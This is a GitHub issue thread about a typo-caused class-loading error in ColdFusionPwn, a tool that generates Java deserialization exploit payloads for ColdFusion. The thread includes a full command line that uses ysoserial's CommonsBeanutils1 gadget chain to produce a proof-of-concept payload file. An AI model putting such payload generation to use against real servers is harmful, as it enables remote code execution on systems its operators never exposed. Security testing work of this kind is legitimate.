Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Could not find or load main class com.codewhitesecc.coldfusionpwn.ColdFusionPwner #1

Closed
KunPengRen opened this issue Mar 19, 2018 · 1 comment

Comments

@KunPengRen
Copy link

this is my error log
root@kali:~/java# java -cp ColdFusionPwn.jar:ysoserial.jar com.codewhitesecc.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser
Error: Could not find or load main class com.codewhitesecc.coldfusionpwn.ColdFusionPwner

I renamed the tow files, I download the ysoserial.jar from https://jitpack.io/com/github/frohoff/ysoserial/master-v0.0.5-gb617b7b-16/ysoserial-master-v0.0.5-gb617b7b-16.jar

The java version of my computer is "1.8.0_151"

@matthiaskaiser
Copy link
Contributor

The main class is called "com.codewhitesec.coldfusionpwn.ColdFusionPwner":
Try:
java -cp ColdFusionPwn.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants